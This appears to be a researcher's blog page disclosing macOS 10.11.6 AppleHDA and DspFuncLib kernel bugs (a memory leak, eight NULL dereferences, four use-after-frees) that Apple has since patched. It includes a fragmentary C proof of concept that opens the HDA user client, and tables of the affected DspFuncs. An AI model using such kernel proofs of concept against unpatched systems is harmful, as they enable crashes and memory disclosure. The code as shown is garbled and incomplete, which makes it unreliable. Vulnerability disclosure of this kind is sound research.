new Entitlement needed for access HDA since OSX 10.11.6

In OSX 10.11.6 security update, I received 3 CVEs that are all Audio related(Actually I submitted 13 cases to Apple totally and 2 cases to ZDI, btw, ZDI is acquired by Trend Micro).

Yesterday, when I back to see what apple did to patch these vulnerabilities, I found the following:

屏幕快照 2016-07-24 21.10.24

Apple needs an entitlement to create user client to access HDA. If you don’t have the entitlement, you can specify the boot-args with “legacy_hda_support” to make your code work.


DspFunc memory leak fixed in OSX 10.11.6

See PoC as below



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(){
    kern_return_t err;
    CFMutableDictionaryRef matching = IOServiceMatching(“AppleHDAEngine”);
        printf(“unable to create service matching dictionary\n”);
        return 0;
    io_iterator_t iterator;
    err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    if (err != KERN_SUCCESS){
        printf(“no matches\n”);
        return 0;
    io_service_t service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL){
        printf(“unable to find service\n”);
        return 0;
    io_connect_t conn = MACH_PORT_NULL;
    err = IOServiceOpen(service, mach_task_self(), 2, &conn);
    if (err != KERN_SUCCESS){
        printf(“unable to get user client connection\n”);
        return 0;
        printf(“got userclient connection: %x, type:%d\n”, conn, 0);
    uint64_t inputScalar[8];
    uint32_t inputScalarCnt = 0;
    char inputStruct[4096];
    size_t inputStructCnt = 0x1000;
    uint64_t outputScalar[8];
    uint32_t outputScalarCnt = 0;
    char outputStruct[4096];
    size_t outputStructCnt = 4;
    //fill input
    memset(inputStruct, ‘a’, 0x1000);
    printf(“trying to leak memory of zone kalloc.4096\n”);
    printf(“please wait for few seconds.\n”);
    uint64_t count=0;
    do {
        if (count % 1000 == 0) {
            printf(“. “);
    } while (++count<30000000);
    return 0;

8 NULL Point Deference Fixed in OSX 10.11.6


Several DspFuncs in DspFuncLib don’t check the return value of DspFuc::getInputBuffer and DspFunc::getOutputBuffer , they then call DspBuffer::getBufferAddress directly. If the return value is 0, then NULL point is dereferenced in getBufferAddress.


Affected OS and Module

OSX < 10.11.6

Module: DspFuncLib

Tested Environment:

  • OSX 10.11.3 in VMware Fusion
  • MacBook Pro(Retina, 2015)



Several DspFuncs don’t check the return value of DspFuc::getInputBuffer and DspFunc::getOutputBuffer. Take DspFunc2WayCrossover as example:


See the picture above, if DspFunc::getInputBuffer returns 0, it will panic when getBufferAddress is called.

DspFunc::getInputBuffer/DspFunc::getOutputBuffer will return 0 in my provided PoCs.

There are 8 DspFuncs in DspFuncLib which don’t check the return value, please see the table as below.

NO. DspFunc Name DspFunc Object
1 DspCrossover2Way DspFunc2WayCrossover
2 Dsp2To4Splitter DspFunc2To4Splitter
3 DspBeamFormer DspFuncBeamFormer
4 DspDelay DspFuncDelay
5 DspCrossover2Dot1 DspFunc2DOT1Crossover
6 DspCrossover2Dot2 DspFunc2DOT2Crossover
7 DspMultiBandCompressor DspFuncMultiBandCompressor
8 Dsp2To6Splitter DspFunc2To6Splitter


Continue reading “8 NULL Point Deference Fixed in OSX 10.11.6”

4 UAF vulnerabilities in DspFuncs which are patched in OSX 10.11.6


DspFuncManager::process will call each DspFunc::process which may cleanup itself, but the cleanup here won’t remove the pointer which points to its own object  from the OSArray in DspFuncManager so that any access to the object in the OSArray will leads to UAF.


Affected OS and Module

OSX < 10.11.6

Module: DspFuncLib, AppleHDA

Test Environment:

  • VM Fusion OSX 10.11.3
  • MacBook Pro(Retina,2015)




When DspFuncUserClient::createDspFunction or DspFuncUserClient::createDspFunctionWithInstance is called, DspFuncManager will set new created object in its OSArray:




Then, when DspFuncManager::process is called(due to ClientStop or performClientIO), Each DspFunc::process is called. For example, DspFuncBuzzKill::process will be called if DspFuncBuzzKill object is currently in the OSArray introduced above.


See the picture above. In DspFuncBuzzKill, if DspFunc::getInputBuffer returns 0, DspFuncBuzzKill::cleanup will be called and it will free its own class object. Please be noticed that DspFuncBuzzKill::cleanup won’t remove its object from OSArray in DspFuncManager. So later if any access to the OSArray(like DspFuncManager::getFunctionInstance), UAF will occur!


There are 4 DspFuncs which have the UAF problem, see table as below.

NO. DspFunc Name DspFuncObject
1 DspBuzzKill DspFucBuzzKill
2 DspCalibrationEQ DspFuncCalibrationEQ
3 DspControlFreak/ DspControlFreak4ch DspFuncControlFreak
4 DspXTC_2chIn_2chOut/ DspXTC_2chIn_4chOut DspFuncXTC


Continue reading “4 UAF vulnerabilities in DspFuncs which are patched in OSX 10.11.6”